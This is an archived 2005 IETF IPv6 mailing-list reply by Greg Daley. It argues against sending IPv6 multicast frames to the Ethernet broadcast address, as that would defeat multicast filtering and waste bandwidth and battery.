https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 28 18:27:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20618 for ; Mon, 28 Feb 2005 18:27:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5uJR-0003iy-PJ for ipv6-web-archive@ietf.org; Mon, 28 Feb 2005 18:28:30 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5uDM-0002ik-Ie; Mon, 28 Feb 2005 18:22:12 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5uDK-0002if-A0 for ipv6@megatron.ietf.org; Mon, 28 Feb 2005 18:22:10 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20326 for ; Mon, 28 Feb 2005 18:22:07 -0500 (EST) Received: from alpha8.its.monash.edu.au ([130.194.1.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5uE8-0003cb-8Z for ipv6@ietf.org; Mon, 28 Feb 2005 18:23:02 -0500 Received: from localhost ([130.194.13.88]) by vaxh.its.monash.edu.au (PMDF V5.2-31 #39306) with ESMTP id <01LLDG7TFRNC8Y6YBN@vaxh.its.monash.edu.au> for ipv6@ietf.org; Tue, 1 Mar 2005 10:21:23 +1100 Received: from curly.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 72DEAAB550; Tue, 01 Mar 2005 10:21:22 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by curly.its.monash.edu.au (Postfix) with ESMTP id 4CE304FB02; Tue, 01 Mar 2005 10:21:22 +1100 (EST) Date: Tue, 01 Mar 2005 10:21:21 +1100 From: Greg Daley In-reply-to: To: "Manfredi, Albert E" Message-id: <4223A771.70505@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 X-Accept-Language: en, en-us References: X-Spam-Score: 0.0 (/) X-Scan-Signature: 34d35111647d654d033d58d318c0d21a Content-Transfer-Encoding: 7BIT Cc: IPv6 WG , Alexandru Petrescu Subject: Re: about v6 over multicast-less Ethernet X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 6e922792024732fb1bb6f346e63517e4 Content-Transfer-Encoding: 7BIT Hi Manfredi, Albert E wrote: >>Alexandru Petrescu wrote: >> >> >>>Anyone proposed until now to update RFC2464 "IPv6 over Ethernet >>>Networks"? If not, I'd like to propose updating the following text: >>> >>> >>>>An IPv6 packet with a multicast destination address DST, >> >>consisting >> >>>>of the sixteen octets DST[1] through DST[16], is >> >>transmitted to the >> >>>>Ethernet multicast address whose first two octets are the >>> >>>value 3333 >>> >>>>hexadecimal and whose last four octets are the last four >> >>octets of >> >>>>DST. >>> >>>Not all Ethernet links/cards/drivers/firmware support this >>>3333 value, >>>nor even Ethernet multicast groups. Those who don't will >>>work fine with >>>v4 (6 times ff) but not with v6. So some relaxing text >>>saying "either >>>33:33:xx:xx:xx:xx or ff:ff:ff:ff:ff:ff" may help. >>> >>>I don't understand why ND is so tight to the Ethernet >>>multicast in the >>>first place, but anyways. >> >>Not sure I understand the problem. >> >>For IPv4 multicast, the Ethernet address becomes 01-00-5E and >>the lowest 23 bits of the IPv4 Class D address. >> >>For IPv6, 33-33 and the lowest 32 bits of the IPv6 multicast address. >> >>Don't all Ethernet cards and drivers understand the meaning >>of the LSbit of the first byte (the G/I bit)? As long as that >>bit is set to 1, won't all Ethernet switches know to flood >>the frame to all ports in the spanning tree? > > > More exactly, what I meant was won't all Ethernet switches *at least* > know to flood those frames to all ports in the spanning tree, even > if they don't do anything more intelligent. I think that Alex was thinking about end hosts which don't support IPv6. Really, the difference is very important between 33:33:QR:ST:UV:YZ and ff:ff:ff:ff:ff:ff. Ethernet networks are commonly bridged, and many mechanisms exist (GARP, IGMP/MLD snooping) which attempt to limit the propagation of multicast messages over bridges where the data is not needed. This is quite different to unicast forwarding, which floods and then prunes with packets coming from a unicast source. It is intentional though that Routers use multicast for Neighbour Discovery in order to identify packet destinations, rather than rely on flooding. Using ff:ff:ff:ff:ff:ff completely defeats this mac-layer filtering (as does 33:33:33:00:00:01, since all ipv6 hosts will use this group) The only way to identify the frames to forward (without causing switches to peer into L3 for every frame) is to have smaller groups which will not be bridged out every port. If we start sending multicast frames as ff:ff:ff:ff:ff:ff, we can say goodbye to a scalable, long-term IPv6 over BNEP/Bluetooth and even 802.11 in bridged environments. Hosts would _always_ wake up to process ff:ff:ff:ff:ff:ff frames, if they were incorporated in IPv6. This wastes battery power for wireless hosts, as well as the previously mentioned bandwidth. We've got more multicast than ever in IPv6. let's not turn it into IPX. In that case, there will be old cards which can't support 33:33 MAC addresses. Perhaps it is well to note that these cards won't be able to run IPv6. Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 --------------------------------------------------------------------